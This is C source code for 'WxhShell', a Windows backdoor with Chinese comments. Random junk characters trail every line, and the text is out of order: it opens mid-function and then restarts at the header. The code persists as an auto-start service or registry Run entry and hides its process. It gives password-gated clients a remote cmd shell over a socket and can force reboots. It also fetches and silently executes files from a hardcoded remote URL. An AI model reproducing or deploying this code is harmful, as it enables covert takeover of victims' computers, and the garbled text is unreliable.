    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ROmmak(y8  
    else { lKw-C[  
    closesocket(wsh); B ,cFvS  
    ExitThread(0); 4~&3.1  
    } vUVFW'-  
    break; y^,QM[&  
    } rHTZM,zM=H  
  // 获取shell ~1%*w*  
  case 's': { IJ&Lk=2E]  
    CmdShell(wsh); M2|!,2  
    closesocket(wsh); H7GI`3o  
    ExitThread(0); ZX` \so,&,  
    break; O-X(8<~H=  
  } Xg96I: r'p  
  // 退出 :Y\ ~[Y  
  case 'x': { **L&I5Hhm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p X{wEc6}  
    CloseIt(wsh); jwT` Z  
    break; gDVsi  
    } .@E5dw5  
  // 离开 DPjs? M<  
  case 'q': { Lo%vG{yTr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -dixiJ=  
    closesocket(wsh); s`_EkFw>Gl  
    WSACleanup(); h/t;ZLUAZP  
    exit(1); \0x>#ygX  
    break; xy7A^7Li  
        } *: @KpYWx"  
  } n82tZpn  
  } a8J AJkFB  
2+rT .GFc  
  // 提示信息 b^Z2Vf:k]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G;}WZy  
} hHN[K  
  } m2\\!C]f  
'RV96lX<  
  return; =S`h/fru  
} Ohk\P;}  
B{`adq?pW  
// shell模块句柄 5[Vr {^)  
int CmdShell(SOCKET sock) |@iM(MM[?  
{ OUi;f_*[r  
STARTUPINFO si; ~ tA ^K  
ZeroMemory(&si,sizeof(si)); FC] *^B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %-blx)Pc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N:)x67,  
PROCESS_INFORMATION ProcessInfo; EL$DvJ~  
char cmdline[]="cmd"; PGJh>[ s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0[l}@K?  
  return 0; ZPmqoR[  
} J:N(U0U  
<"5l<E  
// 自身启动模式 94+^K=lAX  
int StartFromService(void) fA6IW(_bi  
{ rJpr;QKf%  
typedef struct 6}TunR  
{ y>y2,x+[  
  DWORD ExitStatus; ?Ts]zO%%Z  
  DWORD PebBaseAddress; Gk*u^J(  
  DWORD AffinityMask; IQPu%n{0v  
  DWORD BasePriority; R^.PKT2E  
  ULONG UniqueProcessId; &))d],tJX  
  ULONG InheritedFromUniqueProcessId; YCD |lL#  
}   PROCESS_BASIC_INFORMATION; -xHR6  
;DuVb2~+  
PROCNTQSIP NtQueryInformationProcess; '#f<wf n  
Iw`tb N L[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .D 4G;=Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x"Ky_P~  
8M*+ |  
  HANDLE             hProcess; ~a ([e\~  
  PROCESS_BASIC_INFORMATION pbi; ed,A'S= d  
T/3LJGnY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zo<)r2|O.  
  if(NULL == hInst ) return 0; <a"(B*bBd  
U3{<+vSR`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KEOk%'c,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .7.lr[$g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  `Eh>E,  
teJt.VA7)  
  if (!NtQueryInformationProcess) return 0; 7\6g>4J^`  
']1n?K=A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IE`3I#v  
  if(!hProcess) return 0; r%.k,FzGZY  
0V1GX~2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TmG);B}  
7%Y`j/  
  CloseHandle(hProcess); +-j-)WU?,  
V'&;r'#O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D5lQ0_IeW  
if(hProcess==NULL) return 0; VvyRZMR  
tP@NQCo  
HMODULE hMod; i//H5D3  
char procName[255]; \ASt&'E  
unsigned long cbNeeded; c*)T4n[e  
% "(&a'B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~bZ$ d{o^  
kEDpF26!  
  CloseHandle(hProcess); duG3-E  
(bb!VVA  
if(strstr(procName,"services")) return 1; // 以服务启动 *]]Zpa6  
E{orezP  
  return 0; // 注册表启动 'dKfXYY1`N  
} +l7)7qKx  
l(Rn=?  
// 主模块 uyWheR  
int StartWxhshell(LPSTR lpCmdLine) [7vV#s3kJ  
{ Uj(0M;#%o+  
  SOCKET wsl; 62sl6WWS3  
BOOL val=TRUE; PQ 4mNjXN  
  int port=0; RsZj  
  struct sockaddr_in door; XDY]LAV  
U!(.i1^n  
  if(wscfg.ws_autoins) Install(); Hh% !4_AMw  
/pj[c;aO  
port=atoi(lpCmdLine); J~2SGXH)^?  
9hA`I tS  
if(port<=0) port=wscfg.ws_port; hp~q!Q1=  
cU6*y!}9  
  WSADATA data; p/ ITg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^lHy)!&A  
<o%T]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t8*Jdd^3Z/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UGO#o`.G}  
  door.sin_family = AF_INET; cyCh^- <l@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uV5uZ  
  door.sin_port = htons(port); wo@ T@Ve~  
aD: #AmbJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uN`/&_$c  
closesocket(wsl); &*v\t\]  
return 1; &en. m>9,  
} O&l4/RtQ\)  
TDH^x1P  
  if(listen(wsl,2) == INVALID_SOCKET) { O%EA ,5U.  
closesocket(wsl); sycAAmH<  
return 1; yqx5_}  
} `;UWq{"  
  Wxhshell(wsl);  pQiC#4b  
  WSACleanup(); ]DNPG"  
]}v]j`9m%  
return 0; b}K,wAx  
pl]|yIZ  
} -Uo11'{  
FP=B/!g  
// 以NT服务方式启动 c]^P$F8U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .ck?JXg  
{ !l%:   
DWORD   status = 0; sT)>Vdwf_  
  DWORD   specificError = 0xfffffff; 1&dtq,|N  
E=8'!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zy,SL |6:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fmW{c mr|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XKWq{,Ks  
  serviceStatus.dwWin32ExitCode     = 0; *{ rorir  
  serviceStatus.dwServiceSpecificExitCode = 0; +bznKy!  
  serviceStatus.dwCheckPoint       = 0; 1=)M15  
  serviceStatus.dwWaitHint       = 0; 3]*Kz*i  
^FLs_=E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :{%[6lE^G  
  if (hServiceStatusHandle==0) return; 2^o7 ^S  
g{'f%bkG  
status = GetLastError();  L8`v  
  if (status!=NO_ERROR) UA$IVK&{  
{ QEr<(wM-y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .!o]oM U/  
    serviceStatus.dwCheckPoint       = 0; N68mvBe  
    serviceStatus.dwWaitHint       = 0; ng%[yY  
    serviceStatus.dwWin32ExitCode     = status; p>tkRA?lk  
    serviceStatus.dwServiceSpecificExitCode = specificError; A*OqUq/H`;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .iy4 (P4  
    return; ^+>*Y=fl  
  } cB uuq  
r!Eh}0bL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OijuOLt  
  serviceStatus.dwCheckPoint       = 0; h3@tZL#g  
  serviceStatus.dwWaitHint       = 0; ~q ^o|?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OFtaOjsyUa  
} jqaX|)8|$  
'zYS:W  
// 处理NT服务事件,比如:启动、停止 MJGT|u8O&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _LaG%* R6  
{ 3x;UAi+&  
switch(fdwControl) cUR :a @  
{ ~(R=3  
case SERVICE_CONTROL_STOP: 5 bI :xL}  
  serviceStatus.dwWin32ExitCode = 0; K%J?'-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -.h)CM@L  
  serviceStatus.dwCheckPoint   = 0;  vD#U+  
  serviceStatus.dwWaitHint     = 0; cACIy yQ  
  { KL_ /f   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !y d B,S  
  } d0>U-.  
  return; ce;7  
case SERVICE_CONTROL_PAUSE: HP8J\`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r XJx~ g  
  break; _KM? ?&  
case SERVICE_CONTROL_CONTINUE: }B-$}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @vl$[Z|  
  break; !8G)` '  
case SERVICE_CONTROL_INTERROGATE: &Gt{9#  
  break; 5&n:i,  
}; uRb48Qy2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]yPK}u  
} :BPgDLL,  
D>5)',D8xi  
// 标准应用程序主函数 0b{jox\!B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,iyy2  
{ 0f@+o}i=)  
:M"+  
// 获取操作系统版本 _WZx].|A=  
OsIsNt=GetOsVer(); 9Vt ^q%DC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )-4c@  
Lp&nO  
  // 从命令行安装 ZO%^r%~s  
  if(strpbrk(lpCmdLine,"iI")) Install(); A]bQUWt2  
<O+GXJ2  
  // 下载执行文件 @6 "MhF  
if(wscfg.ws_downexe) { p:xyy*I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;KQU% k$  
  WinExec(wscfg.ws_filenam,SW_HIDE); .+9*5  
} JQKXbsXS  
77M!2S_E  
if(!OsIsNt) { 3 `_/h' ~  
// 如果时win9x,隐藏进程并且设置为注册表启动 ql@2<V{  
HideProc(); LaJvPOQ  
StartWxhshell(lpCmdLine); {"'M2w:|D1  
} li%@HdA!  
else AOg'4  
  if(StartFromService()) 5ngs1ZF@  
  // 以服务方式启动 &4OJJ9S  
  StartServiceCtrlDispatcher(DispatchTable); YhH3fVM  
else hrKeOwKHU  
  // 普通方式启动 Osqk#Oh  
  StartWxhshell(lpCmdLine); ya2sS9^T[  
8[@,i|kgg0  
return 0; "_UnN}Uk  
} HAH\ #WE  
iM8Cw/DS  
uf?;;wg  
t`6]eRR  
=========================================== HB )+.e  
+k6` tl~*  
3N >V sl  
a~yiLq  
Kz;Ar&^`N  
jsAx;Z:QT  
" QDxs+<#  
807+|Ol[  
#include <stdio.h> I q|'#hs  
#include <string.h> ,9y6:W%5  
#include <windows.h> b,Eq-Z;  
#include <winsock2.h> zYM2`(Z 5B  
#include <winsvc.h> qq!ZYWy2  
#include <urlmon.h>  wp~}1]g  
4Y?fbb<  
#pragma comment (lib, "Ws2_32.lib") &~eCDlX /  
#pragma comment (lib, "urlmon.lib") [lIX&!T"  
)y] Dmm  
#define MAX_USER   100 // 最大客户端连接数 _!2lnJ4+5  
#define BUF_SOCK   200 // sock buffer |4DN2P  
#define KEY_BUFF   255 // 输入 buffer N@PuC>  
;\th.!'rn  
#define REBOOT     0   // 重启 .J-k^+-  
#define SHUTDOWN   1   // 关机 1V`-D8-?  
mZU L}[xf  
#define DEF_PORT   5000 // 监听端口 5"h4XINZ  
6KGT?d  
#define REG_LEN     16   // 注册表键长度 -|'@ :cIZ  
#define SVC_LEN     80   // NT服务名长度 -Jd7  
Z+V%~C1  
// 从dll定义API W)1nc"WqY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H^Pq[3NQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JX'}+.\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l8E))oz1T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t5 >ma:^j  
Ju>QQOxi|  
// wxhshell配置信息 dkg`T#}  
struct WSCFG { ` u3kP  
  int ws_port;         // 监听端口 r~=+>, _  
  char ws_passstr[REG_LEN]; // 口令 4(, .<#  
  int ws_autoins;       // 安装标记, 1=yes 0=no GQg 2!s(  
  char ws_regname[REG_LEN]; // 注册表键名 ~d&&\EZ  
  char ws_svcname[REG_LEN]; // 服务名 iAe"oXK|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %x#S?GMV<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SkV pZh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vgc~%k62c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yjo$vQi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <nJGJ5JJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QH><! sa  
mqeW,89  
}; ();Z,A  
ecm+33C  
// default Wxhshell configuration C2LG@iCIE  
struct WSCFG wscfg={DEF_PORT, iOm&(2/  
    "xuhuanlingzhe", 3T(ft^~  
    1, !_Y%+Rkp0  
    "Wxhshell", &=t~_ Dc  
    "Wxhshell", MZV bOcSAd  
            "WxhShell Service", bBINjs8C_  
    "Wrsky Windows CmdShell Service", ~~Cd9Hzi  
    "Please Input Your Password: ", R[F`b  
  1, H5]q*D2  
  "http://www.wrsky.com/wxhshell.exe", .+2:~%v6  
  "Wxhshell.exe" 4grV2xtX  
    }; 3K(/=  
v$`3}<3-  
// 消息定义模块 [W$x5|Z}Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E_& ;.hw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >l}v _k*~B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L7- JK3/E  
char *msg_ws_ext="\n\rExit."; %D-!< )z  
char *msg_ws_end="\n\rQuit."; N]8/l:@  
char *msg_ws_boot="\n\rReboot..."; y-@`3hYM@  
char *msg_ws_poff="\n\rShutdown..."; }#Up:o]A!  
char *msg_ws_down="\n\rSave to "; n{|j#j  
yo5-x"ze  
char *msg_ws_err="\n\rErr!"; /p;OZf]  
char *msg_ws_ok="\n\rOK!"; GQ Flt_  
rSDI.m   
char ExeFile[MAX_PATH]; 860y9wzU  
int nUser = 0; =Q;dYx%I5  
HANDLE handles[MAX_USER]; 4WlB Q<5  
int OsIsNt;  k=t{o  
wR 2`*.O  
SERVICE_STATUS       serviceStatus; Nba1!5:M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LB7$&.m'B  
&%3}'&EBv  
// 函数声明 S]E|a@kD3  
int Install(void); DM6(8df(  
int Uninstall(void); u<"-S63+  
int DownloadFile(char *sURL, SOCKET wsh); vzAY+EEx  
int Boot(int flag); 1OY 5tq  
void HideProc(void); z xgDaT  
int GetOsVer(void); E0i!|H  
int Wxhshell(SOCKET wsl); 5:+x7Ed  
void TalkWithClient(void *cs); "kt7m  
int CmdShell(SOCKET sock); =H-BsX?P  
int StartFromService(void); /5 KY6XxR  
int StartWxhshell(LPSTR lpCmdLine); oeVI 6-_S  
0<-A2O),  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rk+s[Qi~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9~ V(wG  
(CAV Oed  
// 数据结构和表定义 ,o2x,I  
SERVICE_TABLE_ENTRY DispatchTable[] = JWM4S4yZHR  
{ R74RJi&  
{wscfg.ws_svcname, NTServiceMain}, iMYJVB=  
{NULL, NULL} 1jK2*y  
}; uf )!SxT  
ME*zMLoF+  
// 自我安装 cor!Sa>  
int Install(void) 2e,cE6r  
{ |em_l$oGc  
  char svExeFile[MAX_PATH]; BN`tiPNEp  
  HKEY key; Nc EPPl 0I  
  strcpy(svExeFile,ExeFile); zcV~)go6  
*wdNZ  
// 如果是win9x系统,修改注册表设为自启动 EwfL.z  
if(!OsIsNt) { w$qdV,s 7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u~t%GIg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YFcMU5_F  
  RegCloseKey(key); ]7,0}q.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q9X+H4`}y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); it j&L <e  
  RegCloseKey(key); nwJub$5  
  return 0; N mNj0&  
    } >.gT9  
  } 2j^8{Agz  
} ~!fOl)F  
else { skLr6Cs|  
WD8F]+2O\  
// 如果是NT以上系统,安装为系统服务 qpB8ujj<V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /u"K`y/*j\  
if (schSCManager!=0) /KgP<2p  
{ '8^>Z.~V  
  SC_HANDLE schService = CreateService fQfd1=4  
  ( 5'rP-z~ u  
  schSCManager, P1qnU  
  wscfg.ws_svcname, p1s& y0:d  
  wscfg.ws_svcdisp, P#KT lH  
  SERVICE_ALL_ACCESS, mnYzn[d3U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c=B!\J<1  
  SERVICE_AUTO_START, }1Hy[4B(k\  
  SERVICE_ERROR_NORMAL, Nk\/lK\  
  svExeFile, I~M@v59C  
  NULL, ?D M!=.]  
  NULL, AbMf8$$3SH  
  NULL, k _Bz@^J  
  NULL, D<4cpH  
  NULL .L3D]  
  ); v00w GOpW  
  if (schService!=0) J.,7d ,  
  { U)S!@ 2(4  
  CloseServiceHandle(schService); > 8!9  
  CloseServiceHandle(schSCManager); 7@!ne&8Z?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V?C a[  
  strcat(svExeFile,wscfg.ws_svcname); %vWh1-   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #"JtH"pF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r[&/* ~xL  
  RegCloseKey(key); /:w.Zf>B9  
  return 0; KFHcHz  
    } l !R >I7  
  } KupQtT<  
  CloseServiceHandle(schSCManager); {@67'jL  
} PAjH*5I A  
} 0e~4(2xK  
Hc-68]T  
return 1; RZ9chTX/  
} uWrvkLGN  
Qvhy9Cr;  
// 自我卸载 nxx&aq(._  
int Uninstall(void) N9AM% H$7  
{ y}> bJ:  
  HKEY key; !X{>?.@~  
4q`e<!MP)q  
if(!OsIsNt) { ,6T3:qkkvF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ET=-r  
  RegDeleteValue(key,wscfg.ws_regname); {r[g.@  
  RegCloseKey(key); X_J(P?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $-BM`Zt0;  
  RegDeleteValue(key,wscfg.ws_regname); }FAO.  
  RegCloseKey(key); D]5cijO6  
  return 0; 5uvFCY./c  
  } II}3w#r4  
} ujoJ6UOG  
} cY%6+uJ1  
else { IaYy5Rw  
2u^/yl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;fKFmY41  
if (schSCManager!=0) iriF'(1  
{ /c52w"WW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4wx _@8  
  if (schService!=0) V%'+ ob6  
  { A:Kit_A  
  if(DeleteService(schService)!=0) { r=^?  
  CloseServiceHandle(schService); J*r%b+  
  CloseServiceHandle(schSCManager); Xp_G9I,+  
  return 0; %D<>F&h  
  } {wVJv1*l  
  CloseServiceHandle(schService); JQ"w{O  
  } L=-v>YL+  
  CloseServiceHandle(schSCManager); KFn[  
} |7E1yu  
}  jf~-;2  
@6z]Xb  
return 1; 8\_YP3  
} #bdSH)V  
lX|d:HFtP  
// 从指定url下载文件 L[.RV*sL  
int DownloadFile(char *sURL, SOCKET wsh) r2xIbZ  
{ m\ (crkN  
  HRESULT hr; #TKByOcD2!  
char seps[]= "/"; 3Ay<2v  
char *token; -|3feYb'  
char *file; }E](NvCq  
char myURL[MAX_PATH]; $]S*(K3U ~  
char myFILE[MAX_PATH]; zQyt1&!  
z(_#C s  
strcpy(myURL,sURL); KMogwulG  
  token=strtok(myURL,seps); ?CUGJT  
  while(token!=NULL) Tn 3<cO7v  
  { u|D|pRM-LT  
    file=token; je^=gnq  
  token=strtok(NULL,seps); $Z{Xt*  
  } 2<8JY4]!]  
' lMPI@C6r  
GetCurrentDirectory(MAX_PATH,myFILE); s^ R i g[  
strcat(myFILE, "\\"); +*ZF52hy|  
strcat(myFILE, file); 6-h(305A  
  send(wsh,myFILE,strlen(myFILE),0); +{pS2I}d  
send(wsh,"...",3,0); ya0D5 0m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tc<ly{ 1c  
  if(hr==S_OK) kF29~  
return 0; 0}iND$6@a  
else FJ(}@U}57  
return 1; z,q1TU9  
M7g6m  
} S{F'k;x/5  
U%E364;F  
// 系统电源模块 )xj!7:n)  
int Boot(int flag)  ]pP:  
{ UKBaGX:v  
  HANDLE hToken; QO(P_az3mg  
  TOKEN_PRIVILEGES tkp; !f!HVna  
N@r`+(_t  
  if(OsIsNt) { A/w7 (  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y ZR\(\?<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;f+bIYQz  
    tkp.PrivilegeCount = 1; Y5?OJO{h"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &'d3Yt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hqVxvS"  
if(flag==REBOOT) { ;@l5kdZx`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @eU5b63jM  
  return 0; 78-D/WY/X  
} urA kV#d#  
else { i"J`$u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &R;Cm]jt  
  return 0; K \_JG $(9  
} lD\vq2  
  } 8|Vm6*TY&p  
  else { ^L"ENsOs  
if(flag==REBOOT) { s(MLBV5)w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3}9c0%}F  
  return 0; o/5loV3h  
} 1&Ruz[F5  
else { sbV {RSl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5T- N\)@  
  return 0; P{gy/'PH,  
} C3>`e3v  
} $K}Y  
-N~eb^3[c  
return 1; 3C7}V{?  
} J2d 3&6  
T.x"a$AU  
// win9x进程隐藏模块 W2W4w  
void HideProc(void) .1#G*A|  
{ Z%\*\6L)  
5}MjS$2og  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4J${gcju  
  if ( hKernel != NULL ) 5 i;n:&Y  
  { L>.* ^]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UG:S!w'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); na,i(m?l  
    FreeLibrary(hKernel); 1]% ]"JbV  
  } %6eQ;Rp*  
+(l(|lQy$  
return; >4&s7][Q|  
} (Y>|P  
pRrokYM d  
// 获取操作系统版本 wseb]=U  
int GetOsVer(void) 7IUu] Fi  
{ Gbrc!3K2  
  OSVERSIONINFO winfo; IP=."w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FhVoN}  
  GetVersionEx(&winfo); h<I C d'!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U,2H) {l/  
  return 1; (&^k''f  
  else ;N;['xcx;  
  return 0; y$6~&X  
} nkii0YB!  
8^>qzaf 8  
// 客户端句柄模块 C^8n;i9  
int Wxhshell(SOCKET wsl) |E5\_Z  
{ I@jXW>$  
  SOCKET wsh; ,wPvv(b]a  
  struct sockaddr_in client; R-lpsvDDL2  
  DWORD myID; t+<?$I[  
fNnX{Wq  
  while(nUser<MAX_USER) GZCXm+  
{ bj$VYS"kY  
  int nSize=sizeof(client); 1Q>D^yPI[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y `ySNC  
  if(wsh==INVALID_SOCKET) return 1; E@%9u#  
"s.]amC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tX@G`Mr(  
if(handles[nUser]==0) R7Z7o4jg  
  closesocket(wsh); }I>h<O  
else \~~y1.,U.  
  nUser++; i}E&mv'  
  } +fRABY5C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wi%e9r{hU  
rS&"UH?c7  
  return 0; Wt 1]9{$  
} |(77ao3  
dJ&f +  
// 关闭 socket Ka+N5 T.f  
void CloseIt(SOCKET wsh) '%y5Dh  
{ Q$lgC v^M  
closesocket(wsh); ]**h`9MF  
nUser--; ayK?\srw  
ExitThread(0); q\]"}M 8  
} vn(ji=  
}Md5a%s<  
// 客户端请求句柄 A8oTcX_  
void TalkWithClient(void *cs) o<Y[GW1pg  
{ :HW\awv  
8o%g2 P9.  
  SOCKET wsh=(SOCKET)cs; rGIf/=G^r  
  char pwd[SVC_LEN]; X4I+  
  char cmd[KEY_BUFF]; %=[xc?  
char chr[1]; vzH"O=  
int i,j; <TQ,7M4X  
b<E+5;u  
  while (nUser < MAX_USER) { QpI\\Zt6  
"eG@F  
if(wscfg.ws_passstr) { 0Q4i<4 XW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Adg;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U6x$R O!  
  //ZeroMemory(pwd,KEY_BUFF); o>i@2_r\&H  
      i=0; Lh;U2pA  
  while(i<SVC_LEN) { \h48]ZjC`  
tB)nQw7  
  // 设置超时 Xdl7'~k  
  fd_set FdRead; y)*W!]:7^>  
  struct timeval TimeOut; u0{R;)  
  FD_ZERO(&FdRead); z`esst\aV  
  FD_SET(wsh,&FdRead); rJKac"{  
  TimeOut.tv_sec=8; ~`c(7  
  TimeOut.tv_usec=0; Ouos f1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #ni:Bwtl{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G5,g$yNs  
?ytY8`PC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wT>~7$=L{  
  pwd=chr[0];  U!O"f  
  if(chr[0]==0xd || chr[0]==0xa) { K'\Jnn  
  pwd=0; R>T9 H0  
  break; CAa&,ZR  
  } j{&$_  
  i++; f~t5[D(\Q,  
    } me  ,lE-  
KEfwsNSc%  
  // 如果是非法用户,关闭 socket yE{\]j| Zf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OuMj%I  
} dC(5I{I|  
=)YDjd_=z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FaQz03N\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); des.TSZ  
9!?Ywc>0#  
while(1) { twP%+/g]<  
}Yargj_Gn  
  ZeroMemory(cmd,KEY_BUFF); \]|(w*C  
0`KR8# A@  
      // 自动支持客户端 telnet标准   )o`[wq  
  j=0; ~i UG24v  
  while(j<KEY_BUFF) { UZRN4tru6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z2~\ b3G  
  cmd[j]=chr[0]; ?<efKs  
  if(chr[0]==0xa || chr[0]==0xd) { -Dy":/Bk  
  cmd[j]=0; +F]=Z  
  break; >qS2ha  
  } Plj>+XRO  
  j++; )<(3 .M  
    } }Uue}VOA  
J;*2[o.N  
  // 下载文件 l1%ubu  
  if(strstr(cmd,"http://")) { MGLcM&oR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rH$M6S  
  if(DownloadFile(cmd,wsh)) @~&1!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $bFH%EA.  
  else "@YtxYTW-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tSVU,m  
  } X:mm<4  
  else { I(uM`g  
4w#:?Y _\[  
    switch(cmd[0]) { 1Vx>\A  
  !CUM*<iV  
  // 帮助 xV"~?vD  
  case '?': { 8lFYk`|g  
